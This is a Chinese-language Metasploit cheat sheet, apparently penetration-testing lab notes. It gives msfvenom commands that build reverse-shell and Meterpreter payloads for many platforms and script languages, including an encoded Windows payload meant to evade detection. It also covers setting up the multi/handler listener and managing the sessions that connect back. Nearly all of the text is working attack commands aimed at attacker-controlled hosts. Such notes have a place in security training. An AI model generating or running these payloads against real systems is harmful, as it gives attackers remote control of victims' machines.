msfvenom (攻击载荷生成和编码器)
主要参数:-p payload-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值LHOST,LPORT 监听 上线的主机IP和端口-f exe 生成EXE格式使用msfvenom -l 可以查看可以利用payloadmsfvenom -l | grep windows | grep x64 | grep tcp 选择payload
2.1 生成可执行文件
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f macho > shell.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your
Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port
to Connect On> -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to
Connect On> -f raw > shell.pl
我们常用的就是windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=4444 -f exe > shell.exe
然后我们把它放入12server4
2.2监听
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)
12345
然后我们呢要开启监听
也可以在启动的时候监听
msfconsole -x "use exploit/multi/handler; set payload
windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit -
j; "
高级选项
set PrependMigrate true 自动添加新进程
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b
'\x00' LHOST=172.16.0.4 LPORT=443 -f exe > abc.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.0.4 LPORT=443 -f exe
> abc.exe
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 172.16.0.4
msf exploit(handler) > set ExitOnSession false
set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态)
msf exploit(handler) > exploit -j -z
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs 查看后台攻击任务
msf exploit(handler) > kill <id> 停止某后台攻击任务
msf exploit(handler) > sessions -l (查看会话)
这里哦我们运行了两次 所以有两个session
backgroup 放置后台
msf exploit(handler) > sessions 1 选择会话
msf exploit(handler) > sessions -k 1 结束会话
然后我们可以结束会话
这样就只有一个了
Ctrl+z 把会话放到后台
exit 结束会话
我们进入会话
然后输入ctrl +z
我们输入exit 会话2也就消失了